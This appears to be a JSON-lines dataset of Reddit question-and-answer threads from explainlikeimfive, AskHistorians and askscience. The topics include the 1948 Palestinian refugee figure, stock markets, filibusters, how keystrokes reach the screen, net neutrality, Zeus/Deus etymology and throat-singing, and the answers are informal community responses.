{"q_id": "8jopdh", "title": "Is 700,000 Palestinians fleeing in 1948 an accurate number?", "selftext": "I've seen a lot of British newspapers, when giving background info on the current Gaza protests, say \"during what Palestinians term the Nakba, meaning catastrophe, 700,000 Palestinians fled their homes.\" I have no particular reason to disbelieve it, or assume it should either be higher or lower. I just wonder where the number comes from, how it was calculated, how reliable it is, and how seriously the number's been questioned (obviously this number is very controversial).", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8jopdh/is_700000_palestinians_fleeing_in_1948_an/", "answers": {"a_id": ["dz35c1i"], "score": [6], "text": ["I guess since this is up, I'll just answer. The number was calculated by historians over the years, as well as by the United Nations, which put together refugee camps that tallied the numbers. Numbers have ranged from 520,000 (Israeli estimate) to over a million (Arab estimate), but the total number is usually agreed on to be around 700,000 based on historical tallies of the population pre- and post-war, as well as refugee counts."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "40ecxz", "title": "how did this guy not break his legs / ankle?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40ecxz/eli5_how_did_this_guy_not_break_his_legs_ankle/", "answers": {"a_id": ["cytj5mn", "cytj7ok", "cytjboi", "cytk549", "cytojae"], "score": [2, 2, 2, 2, 3], "text": ["How did he not break the roof? I smell something fishy. ", "Fisheye lens/slow-motion makes it very difficult to tell the actual height and speed he is falling.  It's not as high as it looks.  Also, training, knowing how to land properly, slow his descent by grabbing stuff, etc.", "Has some good bone density. ...sure as hell isn't carrying too much weight.\nWhen he lands on that step it wasn't a \"straight\" fall, and he jumps instead of landing there...which I assume lessens impact.\nyou should try asking /r/science too though. :)\n\n\n", "It looks to me like his right foot remains in the frame at all times during both landings, which means he might be landing on something else.", "Just a guess here, but it's the same reason a professionfal wrestler can fall off the top rope onto a thin pad on the outside and be fine. It's all about dispersing energy. First, he hits the other roof first, which reduces his momentum. When he then falls onto the stairwell, the metal flexing and giving from the impact absorbs a significant amount of energy. The rest seems to be absorbed from him grabbing the upper part of the stairwell with one of his hands to break his fall a bit and, maybe, using the muscles and tendons in his legs by allowing his knees to bend on impact then catching himself.\n\nStill certainly a risky stunt, but not impossible once you take the mechanics of everything into consideration."]}, "title_urls": [], "selftext_urls": ["https://gfycat.com/DefiniteFaroffIndochinesetiger"], "answers_urls": [[], [], [], [], []]}
{"q_id": "2w0geu", "title": "how is the stock market not a pyramid scheme?", "selftext": "As I understand it, the stock market was originally a way for people to buy \"shares\" of a company, where the purchasing money of the share was a form of investment in the company, with the return being dividends: a share of the company's profits.\n\nBut nowadays, some of the most valued companies, such as Google and until recently Apple, don't pay a dime in dividends.\n\nThey took the initial investor's money, and gave nothing back. The initial investor probably sold his share at a higher value than they bought it, and so on down the line, but that's pretty much like a pyramid scheme, making a buck off the next schmuck to get in on it.\n\nI understand that people buy stocks in the hope of seeing the value go up (why would it go up if it's not paying dividends?) and selling it at a profit, but this is in effect a side-market which seems to have almost eclipsed the original purpose, and the core concept of non-dividend shares resembling a pyramid scheme remains.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2w0geu/eli5how_is_the_stock_market_not_a_pyramid_scheme/", "answers": {"a_id": ["comh8dz", "comhlgd", "comhlwv", "comhncj", "comk4m6"], "score": [2, 6, 2, 3, 2], "text": ["When you buy a share of common stock, you also receive voting rights to represent your ownership of the company. You also can't just enroll an infinite number of people like you can with a pyramid scheme. Once you've sold a share, you've lost it, and the corresponding vote. ", " >  don't pay a dime in dividends.\n\nSo what? The company is still valuable, and in the event it is sold off the shareholders would get cash value. In the meantime it is an asset; not a soluble one without the stock market, but still an asset.\n\n >  They took the initial investor's money, and gave nothing back.\n\nThey gave a share of ownership which is what they paid for. Just because that doesn't instantly turn into cash isn't their fault.\n\n >  The initial investor probably sold his share at a higher value than they bought it, and so on down the line, but that's pretty much like a pyramid scheme, making a buck off the next schmuck to get in on it.\n\nExcept in this case they are transferring ownership of something with real increasing value, meaning it isn't like a pyramid scheme at all. If you buy a house, make improvements and sell it at a higher price, you aren't running a scam, you are adding value. You need to look harder at what a pyramid scheme actually is.\n\n >  I understand that people buy stocks in the hope of seeing the value go up (why would it go up if it's not paying dividends?)\n\nBecause it represents ownership of something more valuable. \n\nImagine you own a field. You wait a while and trees grow on said field. That field is now more valuable because you have the field plus lumber that could be sold. If you owned only a fraction of that field your share would be more valuable than before even if there are no plans to harvest the lumber. It still has that value.\n\n >  but this is in effect a side-market which seems to have almost eclipsed the original purpose\n\nNot at all, it is central to the concept!\n\nImagine I am starting a candy shop. I need to buy equipment and supplies, and after my first shop takes off I want to turn the profits toward making more shops. I need money though, so I want to attract investors. But if they decide to invest $100,000 in my store, what happens if they want to get their money back in a few years to do other stuff? I am still working on my shops, I can't just liquidate $100k out of the blue!\n\nHaving a stock market allows their shares to be sold to someone else at recognition of their increased value. Maybe the business grew and so their share is worth $130,000 now; they sell without my shop and business being bothered. And people are willing to buy because they are confident they can sell it later, even though I never plan to offer dividends. Dividends aren't the point, the increasing value is the goal.", "When you buy a share of stock in a company, you are buying a part of the company's assets and its future cash flow.\n\nIf the stock price goes up, it is because the company did a good job managing it's assets and cash flow to become more valuable than it was expected to be when you bought it.  If the price goes down, the reverse is true.\n\nSometimes while you hold the stock, the controlling interests in the company pay out some of the company's assets as dividends.  You have to estimate based on past performance and what you know of future plans how much those dividends will be in the future and how long you think you'll hold the stock, and then \"discount back to the present\" the value of those dividends when you calculate what you think is a fair price for the stock.  But stocks that don't pay dividends aren't worthless - you're still buying a claim on a slice of the assets and future cashflow of the company (after creditors are paid).\n\nEvery moment you hold a stock you're essentially voting \"let the company's controlling interests and management do what they want to do\".  If and when you decide you don't trust them anymore, you sell.\n\nMaybe while you hold the stock someone larger buys the company in which case you get paid for the value of your shares the day the deal closes.  Or maybe a group of investors \"takes the company private\" and buys all the outstanding shares including yours (usually at a price higher than the market price, but never lower).  So the longer you hold those shares, the greater the chances are that you get paid outright for their value.\n\nSo what you're doing when you buy and sell stock is that you're buying and selling risk.", " > They took the initial investor's money, and gave nothing back.\n\nThey took the initial investor's money and gave back a share of ownership in their company. That's certainly not *nothing*. ", "Remember that investors (shareholders) control the company (the CEO and everyone below them) through their elected representatives (the board of directors).  \n\nIn the case of Google, the investors think that Google will grow if it keeps reinvesting all profits rather than paying a dividend.  So the board of directors instruct the management of the company to do that.  \n\nRemember that a dividend is taking money out of a company.  So if a company like Google is turning every dollar they have into a dollar and a half, so why would you take any dollars out as long as they keep doing that. \n\nGoogle is known as a growth stock because of this strategy.  Once they reach maximum size investors will stop seeing returns on reinvestment, so they will start demanding that money in the form of a dividend instead of plowing it back into the company. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1n5xg4", "title": "fillibuster", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1n5xg4/eli5fillibuster/", "answers": {"a_id": ["ccfoae7"], "score": [3], "text": ["A filibuster is simply a way for a member of a congress or parliament to delay or prevent a vote from taking place by standing up and talking for an indefinite amount of time. In the US Senate, a senator can speak about any subject he or she wants for as long as they want to or until a 2/3 majority vote ends the filibuster. Also, I think the filibuster ends if the person doing the filibustering(?) leaves for any reason. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ia88b", "title": "the process, step by step, that leads from me pressing the \"a\" on my computer keyboard to the letter popping up on screen.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ia88b/eli5the_process_step_by_step_that_leads_from_me/", "answers": {"a_id": ["cl09d1i", "cl0bvw4", "cl0d6bn", "cl0smef"], "score": [14, 2, 18, 2], "text": ["1)  Pressing the key completes an electrical circuit inside your keyboard.  \n2)  A device inside your keyboard receives the electrical signal and turns it into a series of tiny electrical signals.  \n3)  The keyboard sends this series of signals to your computer.  \n4)  The computer receives the series of signals and interprets them as a set of 1s and 0s.  \n5)  The computer interprets the set of 1s and 0s based on whatever program it is focusing on at the time the key is pressed.  \n6)  Based on the instructions in the program that's running, the computer will generate an output.  If your cursor is in a text field in a web browser or a word processor, it may put an \"a\" in the field.  If you're playing a game, the program may interpret it as a signal to take a small step to the left, or execute a particular action.", "You press a key. \n\nThe keyboard outputs a signal over the USB port to the computer. \n\nThe computer has that USB port mapped to a bit of software called a device driver, and the device driver receives the input and generates an \"interrupt\" to the operating system. \n\nThe operating system is designed to give high priority to interrupts from device drivers for input devices. So it handles this and recognizes it as an A from the driver. \n\nThe operating system alerts the program running in the foreground and says, I just got an A, what do you want to do with it?\n\nThe program running in the foreground decides whether to ignore the A or do something with it. If it's a word processing program for example, it will add an A at the insertion point in the file kept in memory. Then the same program will tell the screen device driver that it needs to refresh the screen. \n\nThe screen device driver will receive the new pixel image map and then rewrite the screen, showing the A at the new location. ", "I\u2019m going to work off SilverHawk7\u2019s answer and add more detail.\n\n* Pressing the key completes an electrical circuit inside your keyboard.\n* A chip inside your keyboard receives the electrical signal and turns it into a series of tiny electrical signals.\n* The keyboard sends this series of signals to your computer.\n* The computer\u2019s CPU notices the incoming signal and interrupts everything it is doing to look at the signal.\n* The CPU interprets the signal as a set of 1s and 0s and places the signal in a \u201cmaster queue\u201d of signals to be processed.\n* For the time being, the CPU continues doing what it was doing (running the current program) until it finds a free moment (which may be only microseconds later).\n* During the next free moment, it will look at the master queue and work through the signals that have queued up. Some of them may be signals from the keyboard, some from the mouse, the scanner, the webcam or the wifi.\n* The keyboard signal from the master queue is a raw signal that indicates what *key* was pressed. The signal will first be interpreted by your keyboard layout and turned into a *character* signal. For example, if your   keyboard layout is Russian, the same key translates to the letter \u0444 instead of a.\n* Every program has its own separate keyboard and mouse signal queue. The new *character* signal is placed in the keyboard queue for the *currently active* program.\n* When that program comes around to processing *its* keyboard queue, it will notice that the signal is a *character* signal and pass it on to whatever *control* currently has focus. This may be a textbox (the location bar in a browser, say) or the main window (in something like word processing, where the whole program is basically one giant complex textbox). Let\u2019s say it\u2019s a textbox.\n* The textbox knows its current contents (as a string of characters) and the current cursor position. In response to the character signal, it will modify its contents by inserting the character (a or \u0444 or whatever) in the correct location. So far, this all happens inside the computer\u2019s memory; what\u2019s visible on the screen still hasn\u2019t changed!\n* The textbox will then add *another* signal to the program\u2019s processing queue. This signal is called a *redraw event*.\n* When the program comes around to processing the next signal from its queue, it will notice the redraw event, which tells it to redraw (update) the visible stuff on the screen. It will draw the entire textbox anew: its background, its frame, its scrollbars (if any) and the text inside it (appropriately clipped if the text is longer than the textbox).\n* While drawing the text, the character (a or \u0444 or whatever) needs to be turned into its appearance (called its *glyph*) by consulting a *font*. The textbox knows what font it is using, so it looks up the glyph for the character in the font and then draws it. It does that for all the characters visible in the textbox.\n* The glyph (let\u2019s assume the font is a vector font) consists of *curves*. An entire drawing subsystem in your operating system turns these curves into *pixels* using complex geometric algorithms. Since this is complex, it does that only once (the first time you type an a) and then remembers the pixels, so most of the time it just looks up the pixels and pastes them verbatim.\n* It does all this drawing entirely in memory, and then pastes the completed drawing onto the screen.\n* The actual physical screen still doesn\u2019t display the new image until its next refresh cycle. Screens update their actual display about 60 times per second.\n\nAll of the above happens in far less than a millisecond, apart from the very last step, which could be up to a 60th of a second.\n\nIn the interest of keeping it simple, I\u2019ve left out many details that aren\u2019t directly related to keyboard input handling. In particular, I\u2019ve left out [window managers](_URL_0_) and their [double-buffering](_URL_6_); I\u2019ve left out exactly how the keyboard sends the signal to the CPU (how data travels across a [bus](_URL_1_)) and details about [context switching](_URL_2_) and [task scheduling](_URL_3_). I\u2019ve ignored [paging](_URL_5_) and I\u2019ve merely hinted at the concept of [caching](_URL_4_). Please feel free to follow these Wikipedia links to find out more.", "This isn't about pressing keys, but it's very similar and is very layman's terms in explaining how a processor works (and how it communicates with the other components, which it needs to press a key), so it gives a more in-depth view into the actual electronics rather than the logic:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Window_manager", "https://en.wikipedia.org/wiki/Bus_%28computing%29", "https://en.wikipedia.org/wiki/Context_switch", "https://en.wikipedia.org/wiki/Scheduling_%28computing%29", "https://en.wikipedia.org/wiki/Cache_%28computing%29", "https://en.wikipedia.org/wiki/Paging", "https://en.wikipedia.org/wiki/Multiple_buffering"], ["https://www.youtube.com/watch?v=cNN_tTXABUA"]]}
{"q_id": "bj8aut", "title": "how do \u201cwasp killers\u201d (long range shaving cream) actually kill the wasp and the nest?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bj8aut/eli5_how_do_wasp_killers_long_range_shaving_cream/", "answers": {"a_id": ["em67d9l", "em69n0b", "em6a5fh"], "score": [3, 6, 4], "text": ["Do you have a link to explain what that is?", "From what I understand the active ingredient is a nerve agent derived from the chrysanthemum plant. It melts their brain.", "It contains 2 particularly potent pesticides, cypermethrin basically sedates then kills as a _URL_0_ works on people too,so be very cautious of both immediate area/running water/pets/petfood.prallethrin is a repellent. so anything there has all its ones and zeros scrambled until it breaks and dies, and anything that wants to return wont because the repellent repels.on the offchance they do return they die like the rest.the range is due to it being more of a gas powered waterpistol than an aerosol for _URL_1_ also allows for a concentrated dose as opposed to losing a fair amount to diffusion"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["neurotoxin.it", "mist.It"]]}
{"q_id": "7iovim", "title": "why don\u2019t modern ships use sails to increase efficiency?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7iovim/eli5_why_dont_modern_ships_use_sails_to_increase/", "answers": {"a_id": ["dr0ahip", "dr0dimd"], "score": [36, 7], "text": ["Modern ships are much larger than old sailing vessels, and would require much larger sails in order to be moved properly by the wind.\n\nThey would therefore be heavier and harder to move by crews when stowing or unfurling them, and would be enormously more dangerous in a storm.", "This is starting to become a thing.  Check out the [BBC Skysails] (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.google.com/search?q=bbc+skysails&amp;rlz=1CASMAH_enUS716US719&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ved=0ahUKEwiS19HB5v3XAhUBMt8KHZeGDXMQsAQINw&amp;biw=1366&amp;bih=677"]]}
{"q_id": "1gnxk8", "title": "Why does my house shake when an airplane flies by?", "selftext": "I live right near an airport, and I have planes and helicopters flying by all day. Why does my house shake when an airplane flies by? Is the ground shaking? Or is the house acting like a tuning fork? Also, why don't I vibrate when a plane flies overhead? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gnxk8/why_does_my_house_shake_when_an_airplane_flies_by/", "answers": {"a_id": ["cam18u2"], "score": [5], "text": ["It's the pressure (sound) waves coming from the airplanes engines. The sound waves are intense (loud) enough to actually feel the pressure shaking your house."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5ulgk5", "title": "what could happen if the internet is not 'neutral'?", "selftext": "Explain the potential ramifications in a world without net neutrality. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ulgk5/eli5_what_could_happen_if_the_internet_is_not/", "answers": {"a_id": ["dduwtyh", "ddux8v5", "ddux90i", "ddux952", "ddv3ymh", "ddv4ivh", "ddvndpw", "ddvvg79"], "score": [9, 116, 13, 18, 2, 4, 2, 3], "text": ["Your internet bill would at least double for the same alleged level of service (though the price increase would be split up and added to website subscription costs, rather than billed to your directly).  Your connection to many sites would be slower.  Streaming video sites not owned by your ISP would run like crap, because they compete with cable TV and your ISP's streaming video site.", "/u/tsuuga has done a decent summary. I'd like to explain it in a little more detail:\n\nWith net neutrality in place, your ISP is obliged to provide you with an internet connection, the speed of which is determined by how much you pay for that service.  \nAnd no matter which website you go to, the speed at which you receive the data (load the website, stream the audio or video) will be the same.\n\nWithout net neutrality, the ISP is free to decide at which speeds you're going to be receiving data from various sites. For example, your ISP might decide that it doesn't want youtube videos to load so quickly, because reasons, They might say \"Well our infrastructure can't handle video data at that amount. Yes we can upgrade, but it will cost more money. Youtube can pay us an amount and we'll make sure their data goes through smoothly.  \nAnd they can extend the same kind of deal to anyone. With diffrent prices.  \n\nSeems fair so far right? Well not entirely, a lot of ISP's have other interests as well. For example, in the US Time Warner has it's own video streaming service. And Netflix has one as well.  \nIn this case it's a very good idea for TW to throttle the bandwith of Netflix to a point where it's no longer possible for you to watch Netflix. But their own streaming service will work like a dream. So it gives ISP's unfair oppertunities to stop competitors from doing business.\n\nAnd the same thing could happen for other things as well. Perhaps removing/restricting access to websites which go against the interests of the company. IE you can't see the site for a competing ISP because well, that's competition. You can't go to the site for political party X because they're going to try and push through legislation that the ISP doesn't like.", "Right now, ISPs have to treat all data the same.  If neutrality goes away, your ISP could take bribes from a company like best buy and make their website run faster.  Meanwhile, Jim Smith, the owner of jim's electronics, is unable to afford to bribe the ISP, so his website takes 5 minutes to load and all his customers get pissed off.  Jim's customers buy things from the best buy website and Jim goes out of business because he couldnt afford to be extorted by comcast.", "Internet service providers could charge you, companies or both higher fees to retain the same service and they also gain the ability to censor as they see fit as they could simply strange connections to websites they don't want to have traffic.\n\nInternet access could become more subscription based. You'd have your 'base internet' access, but for only $19,99 you could subscribe to the Social Media Package\u2122 and have unrestricted access to Twitter, Facebook etc. Alternatively those sites would pay the ISP to give users access to their websites. If you like videos, for an additional fee you could also subscribe to the YouTube Package\u2122 - you get the idea.", "If net neutrality does go, i say net neutrality supporters such as myself, should boycott all companies who take advantage of throttling and increasing internet rates. Im inclined to boycott using the internet for personal use at all. \nHow else can we really make a difference?? Im not about to pay for internet that was once free. Hell no.", "I pay for internet service.  That service is a certain speed and may include a data cap (or not).  For my payment I am entitled to \"equal\" access to the entire internet.  My internet provider is NOT entitled to give priority to certain traffic over others.  This is a world with a neutral internet.  The ISP's network is natural to the traffic it carries, it does not give priority to some over others, it simply gives me exactly what I requested at the maximum speed it is able. \n\nIn a world without a natural ISP, the internet provider (for example, Virizon, Comcast, Time Warner ect) is able to give priority to certain traffic over others. At first, that seems OK, but once we start looking at it in pratice things look much darker.\n\nWhat the ISPs want, is the ability to charge the company that you are connecting to for the right for a good connection.  So in addition to charging you for internet service, they'll be charging companies like Youtube, Netflix, Facebook and so on so that those companies can access the highest speeds.  Keep in mind, these companies are already paying their own ISP for their internet access.  But now they would also be paying your ISP for special access to you. This is particularly important for HD video content as it uses lots of bandwidth for good quality. \n\nAny website that does not have a special deal with your ISP, would be delivered at a slower service.  This again seems kind of fine, but kind of not.  Where it really falls apart is in the world of innovation.\n\nIt was not that long ago when streaming video games was just not really a thing people did.  Then along came twitch (and others) and the popularity exploded.  Not streaming games is extremely popular. \n\nIn a world of a not natural internet a start up like Twitch could never have survived.  It pays for it's own internet access.  You pay for your internet access.  But baby Twitch can't afford these extra fees to every ISP in America, so they are on the \"general access\" network.  But they don't have enough bandwidth to deliver HD content over that network, so everything is pixilitaed and of poor quality. Some users use it anyway, other's don't because the service is so poor.\n\nIn a natural intent, the users would choose to use the bandwidth they've paid for to stream from Twitch at the highest quality possible.  In a non natural world, Twitch would have to pay for that privilege and the users would not be the wiser. \n\nIt gets even more nasty.  Netflix is a BIG competitor to your cable company.  For most users, their cable company is also their internet provider.  In a non natural world, the cable company could tell Netflix \"OK, no more HD streaming for you, we're just not going to allow that\". Then turn right around and offer their own streaming service that DOES stream in HD. So if you want HD streaming you'll be forced to buy it from the cable company. \n\nYou already see a little of this in the Cell Phone world.  AT & T owns Direct TV.  If you subscribe to Direct TV now (Direct TV's streaming service) and use it on your AT & T cell phone, it does not count against your data.  If you use Netflix, it does.  So if you have to choose what streaming service to subscribe to, you'll chose the one that you can actually use while on mobile data. ", "ISPs could prioritize/block content over other content, say Comcast refusing to allow Netflix traffic so that they could sell subscribers a rival service; or blocking sites of one political view while not blocking others.", "Basic point: Your service provider will have control on what you do online.\n\nHow is this bad: You already know this, but for speculation and prospective purposes, but basically it can (and will) be corrupted for political/financial agendas.\n\nE.G. Your ISP leans to the right, I mean FAR right like Breitbart right. Your ISP has the right/capability to basically prevent you from accessing any news site that isn't far-right or Breitbart.\n\nYou like streaming movies on Netflix. Your ISP happens to have a deal with Time Warner Cable. Your ISP prevents videos from Netflix, Youtube, or any other service that loads videos from working on your computer. The only time you can stream is content from TWC because your ISP controls what data and how much you have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "32kqsd", "title": "Is there any truth to the idea that using your opposite hand for common tasks creates neural pathways? And if so what sort of effect would it have?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32kqsd/is_there_any_truth_to_the_idea_that_using_your/", "answers": {"a_id": ["cqclbek"], "score": [13], "text": ["There is evidence that increasing the use of your off hand can increase the size of the neural network (or create new neural networks?) activated in then brain when you use your off hand.\n\nThere have been some pretty cool experiments that show that people who use a particular part of their body more have increased representation for that body part in the brain.  For example: the [reading fingers of braille readers](_URL_0_) and the [left hand digits of string players](_URL_1_)  show disproportionate brain representation.\n\nAs far as I know, the only observed effects of exercising a particular body part is increased function of that body part (aside from the effects of exercise in general).  I know there are popular articles about ways to make you smarter that include using your off hand but to my knowledge, there isn't any scientific support behind this idea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://brain.oxfordjournals.org/content/116/1/39.long", "http://www.sciencemag.org/content/270/5234/305.long"]]}
{"q_id": "3qgh72", "title": "Does the Greek word \"Zeus\" have anything to do with Latin \"Deus\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3qgh72/does_the_greek_word_zeus_have_anything_to_do_with/", "answers": {"a_id": ["cwf0gh4"], "score": [12], "text": ["Only very indirectly, and to see a relationship you need to look not just back to Proto-Indo-European but to conjectural early forms of PIE roots.\n\nFirst, be aware that the *-eus* similarity is purely cosmetic. It has no bearing on this. With languages like these, the most important forms for finding links are ones called *oblique* forms - much more important than the versions of the words/names that you see in English. The relevant oblique forms are, for \"deus\", *de-*; and for \"Zeus\", *Di-*. The second one is obviously pretty striking: \"Zeus\" is what you call him if he's the subject of a verb, but his name was totally different in other situations: for example, \"Zeus's\" was *Dios*. (If the difference between z- and d- looks incomprehensible, it may help to know that the letter zeta in early Greek was pronounced *sd*, or occasionally, *ds*.)\n\n\"Zeus\" is the easier of the two. The earliest attested Greek form is *Diw-* (in Mycenaean). This comes from a PIE root \\**di\u0113u-* meaning \"god, day, sky\", and it has cognates in Sanskrit *dy\u00e1u\u1e25*, Hittite *\u0161\u012bu\u032f-*, and most familiarly, the Latin word *dies* \"day\" and the *Iu-* part of *Iuppiter* (Jupiter).\n\nLatin *deus* comes from a Proto-Italic form \\**deiw-*, \\**d\u0113w-*; that in turn comes from a Proto-Indo-European form \\**dei-u-o-* \"god\". That root appears in Sanskrit as *dev\u00e1-*, and it has another reflex in Latin, *divus*, which is where we get the English word \"divine\".\n\nPIE \\**di\u0113u-* \"god, day, sky\" and \\**deiuo-* \"god\" almost certainly are related. Current suspicion is that both of these go back to an old PIE (arguably even pre-IE) thematic root with a hysterokinetic *u*-stem which would explain the metathesis and the different quantities in the two roots.\n\nSo there kinda is a relationship, but you might need to go back 10,000 years or so to find the link.\n\nI have a sneaking suspicion this isn't the kind of link you were looking for.\n\n---\nEdit: tidied up a few details"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4qfnf2", "title": "why so many japanese shows have people live reacting to content on screen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qfnf2/eli5_why_so_many_japanese_shows_have_people_live/", "answers": {"a_id": ["d4sk95w"], "score": [22], "text": ["It's the Japanese equivalent of the laugh track or other audience reaction recordings on an American or other Western show. Just like how a western sitcom will have a laugh track to let the audience now 'That was funny, you are supposed to laugh', a Japanese show will have a person reacting. As I understand, it can vary, but I believe it's usually the host and guests--if it's a talk show of some kind. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4bfw5c", "title": "The tradition of \"throat-singing\" occurs in both Tuva and Western Mongolia. Where was the technique originally developed, and how closely have the development of techniques in both places been connected? Tell me about the history of throat-singing.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4bfw5c/the_tradition_of_throatsinging_occurs_in_both/", "answers": {"a_id": ["d19aren"], "score": [28], "text": ["This isn't askscience. but if I may go on a non-historical fact spree (in addition to any interesting historical answers that me be written), I'm familiar with throat-singing and practice it myself from a western, extended singing techniques point of view. Why would it be interesting with a technical runthrough in a historical context? Because the techniques throat-singing is based on are universal! **It stands to reason that different types of tradition can emerge independently over the globe, and should because the techniques are often used in everyday speech.** Throat singing can often have a very mysterious and exotic quality for a western audience, and I hope dispelling this fancy can help view different singing traditions and techniques from a more impartial viewpoint.\n\nThroat singing refers to a a throng of techniques and styles from different cultures, the word is often misused in a western context instead of overtone singing, and vice versa.\n\nTuva consists of two different techniques compared to \"normal singing\" (there's really no such thing), the first is using your [vestibular fold](_URL_4_) together with your vocal folds (in Swedish we actually call the vestibular folds the \"false vocal folds\"). Now, in all manners of singing the vestibular folds are used in some ways (in any case as something you should be wary of in your body, even though you keep them still), but they are more pronounced in styles such as tuvan throat-singing, or (metal) growling. In growling you let the folds vibrate more chaotically, and your normal vocal folds are used less than in speech or common singing. This is of course a simplified version, since growling is a very broad field where some have more noisy output and some have more tonal output. In throat singing, you do the same but \"lock\" the frequencies of both set of folds to a tonal relationship that is in the [harmonic (overtone) series](_URL_1_).\n\nDifferent styles of throat-singing use different overtones, and produces different sounds. The fun part is that the different folds interact, because they use the same stream of air from your lungs. I have yet to find a source on exactly what happens physically, but I would venture a guess that the vestibular folds affect the amplitude of the frequency from the voal folds, creating an effect similar to amplitude modulation:\n\n_URL_5_\n\nIn this video, one oscillator modulates the amplitude (often the word \"volume\" is misued in a daily context instead of amplitude) of another oscillator, going from below audio frequencies (below what the human ear would think of as a sound) and into audio range. The situation with the different sets of folds is way more complex than that, though, but hopefully it can help someone reading this how to conceptualize and visualize throat-singing as an audio effect.\n\nAt 1:29, directly after the mark in this link, the legendary Ella Fitzgerald does shortly use her vestibular folds in a light fashion, but you can still hear it is the same kind of sound as throat singing:\n\n_URL_3_\n\nNow, the next technique I'm going to run through is the overtone singing part of this. Without going too far into the complex math, [all (complex) sounds can be said to be constructed with a set of sine waves](_URL_0_), produces a spectrum of frequencies. Our throat produces a tone that is very rich in harmonic content, meaning that it needs to be constructed with a damn good amount of sine waves. We use our mouth, our lips and tongue, to mainly filter away harmonic content. The more closed your mouth is, the less harmonic content and vice versa. When people talk about a wah-wah pedal for guitars, they call it that because it is in a sense doing the same effect as your mouth does when saying \"wah\". A wah wah pedal is a low pass filter (low pass filter passes low frequencies, and cuts high frequencies, compared to a high pass filter) that you control with your foot. But your mouth can do a bit more than that, it can also boost certain harmonic content. For example, an \"a\" is close to how your throat sounds without your mouth, but an \"e\" uses your tongue and lips to boost the upper frequencies of the spectrum. Different languages have their own vowel sounds, emphasizing different parts of the spectra, even though we write them with the same characters.\n\nOvertone singing is about boosting a single sine wave in this spectrum until it becomes so strong that it pops out and sounds like a sound of its own to our brain. The effect is found all over the globe, in both music and language.\n\nYou can try out this effect in action on this page, where I created a patch for the occasion:\n\n_URL_2_\n\nThe second panel called VCF (filter), with the cables inserted, is what you are looking for. Turn the knob called freq (frequency) and you'll hear the wah effect. Now, turn up the knob called reso (resonance, a synth term for feedback in filters) and again turn the frequency knob and you'll hear \"throat singing\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Fourier_series", "https://en.wikipedia.org/wiki/Harmonic_series_%28music%29", "http://www.g200kg.com/en/docs/webmodular/?p=E0Y3_0021CPo000021COo00Z00nOo00k00S0o00Z000o00Z000o0000o000o01P1PBP000&amp;m=", "https://youtu.be/OFclKdniaDk?t=1m27s", "https://en.wikipedia.org/wiki/Vestibular_fold", "https://youtu.be/VHZ0KOvRj-c?t=41s"]]}
{"q_id": "2jlnxx", "title": "why did supreme court justices approve voter id laws in texas, but struck it down in wisconsin?", "selftext": "I don't understand why, on a state-by-state basis the approval or denial of the law may vary, since surely the argument would be the same regardless of the location. Help me out! ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jlnxx/eli5_why_did_supreme_court_justices_approve_voter/", "answers": {"a_id": ["clcuerf"], "score": [5], "text": ["The big difference is that Texas allows more than just a photo ID to be used for identification purposes. Wisconsin's law was more restrictive, and in the case the ACLU cited in fighting against the Wisconsin Voter ID law, one senior citizen would have had to pay to get an acceptable ID and that was likened to a poll tax.\n\nThe reason it's just not a sweeping judgement one way or the other is the specifics of the laws in every state."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
